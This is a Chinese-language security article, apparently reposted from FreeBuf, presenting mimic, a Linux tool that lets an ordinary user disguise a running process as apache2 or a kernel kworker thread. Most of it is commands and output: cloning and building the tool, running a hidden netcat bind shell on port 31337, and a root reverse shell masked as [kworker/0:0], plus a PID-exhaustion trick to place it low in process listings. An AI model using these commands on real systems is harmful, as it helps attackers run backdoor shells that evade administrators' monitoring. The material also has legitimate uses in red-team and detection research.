mimic是一款针对进程隐藏的安全工具,在该工具的帮助下,广大研究人员可以通过普通用户身份来在Linux操作系统(x86_64)上隐藏某个进程的执行。
使用的是一种名为“Covert execution”的技术,这种技术是一种隐藏进程的方式。在这种情况下,mimic会将进程隐藏起来,mimic可以启动任何程序,并使其看起来像任何其他程序。任何用户都可以使用它,它不需要特殊权限,也不需要特殊的二进制文件。除此之外,它也不需要root kit。
广大研究人员可以直接使用下列命令将该项目源码克隆至本地,并完成代码编译:
git clone https://github.com/emptymonkey/ptrace_do.gitcd ptrace_domakecd ..git clone https://github.com/emptymonkey/mimic.gitcd mimicmake
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]-e Execute COMMAND.-m Setup COMMAND to look like MIMIC.Default for non-root is: "/usr/sbin/apache2 -k start"Default for root is: "[kworker/0:0]"-b Launch COMMAND in the background.-a Add / overwrite KEY to the mimic environment with associated VALUE.-q Be quiet! Do not print normal output.-h Print this helpful message.Notes:The MIMIC environment will be a copy of the COMMAND environment.The '_' variable is automatically changed.The -a flag can be called multiple times to add / overwrite multiple variables.Examples:mimic -e /bin/bashset_target_pid 1 && mimic -e /bin/bashmimic -b -e "./revsh"mimic -b -e "nc -l -e /bin/bash"mimic -b -e "nc -l -e \"mimic -e /bin/bash\""
第一个例子如下,我们将以常规用户启动一个netcat监听器:
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""Launching child... Success!Waiting for child to attach... Success!Initializing ptrace_do... Success!Determining stack state... Success!Politely requesting name change... Success!Searching for main()... Success!Building execution headers... Success!Setting up final state... Success!Good-bye and have a good luck! :)empty@monkey:~$ ps aux | grep apacheempty 1931 19.5 0.0 16648 1324 pts/1 S 21:41 0:02 /usr/sbin/apache2 -k startempty 1935 0.0 0.0 7596 836 pts/1 S+ 21:41 0:00 grep apacheempty@monkey:~$ sudo lsof -i -n -P | grep apache[sudo] password for empty:apache2 1931 empty 3u IPv6 14462 0t0 TCP *:31337 (LISTEN)apache2 1931 empty 4u IPv4 14463 0t0 TCP *:31337 (LISTEN)
第二个例子,以Root身份启动一个netcat反向Shell:
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"
运行后的结果如下:
:~$ ps aux | grep kworker | grep -v greproot 18 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/3:0]root 197 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:3]root 198 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:4]root 199 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:5]root 302 23.4 0.0 18748 1912 pts/5 S 22:28 0:02 [kworker/0:0]root 304 11.4 0.0 3780 296 pts/5 S 22:28 0:00 [kworker/0:0]root 305 10.8 0.0 10644 1200 pts/5 S 22:28 0:00 [kworker/0:0]root 426 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/1:0]root 434 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/3:2]root 536 0.0 0.0 0 0 ? S 20:12 0:00 [kworker/0:0]root 879 0.0 0.0 0 0 ? S 20:39 0:00 [kworker/2:0]root 1463 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/1:2]root 2132 0.0 0.0 0 0 ? S 19:47 0:00 [kworker/2:2]root 2607 0.0 0.0 0 0 ? S 20:01 0:01 [kworker/0:1]
当然了,伪装的进程肯定会有一个打开的套接字:
root@monkey:~$ lsof -i -n -P | grep kworkerkworker/0 302 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)kworker/0 304 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)kworker/0 305 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
请注意,我在这里以root用户身份运行只是因为作为非root用户运行的kworker线程应该非常可疑。新的模拟名称只是一个字符串。它不一定是一个现有的进程。
本项目代码中提供了一个名为set_target_pid.c的文件,它是一个小助手程序,它将耗尽pid,直到我们想要的pid返回为止。这将允许我们选择进程列表中我们所希望进程出现的位置。需要注意的是,内核为内核线程保留了前300个pid。如果你试图低于这个值,你可能最终会得到进程pid 301。
本项目的开发与发布遵循MIT开源许可证协议。
mimic:https://github.com/emptymonkey/mimic
【FreeBuf粉丝交流群招新啦!
在这里,拓宽网安边界
甲方安全建设干货;
乙方最新技术理念;
全球最新的网络安全资讯;
群内不定期开启各种抽奖活动;
FreeBuf盲盒、大象公仔......
扫码添加小蜜蜂微信回复“加群”,申请加入群聊】
文章引用微信公众号"FreeBuf",如有侵权,请联系管理员删除!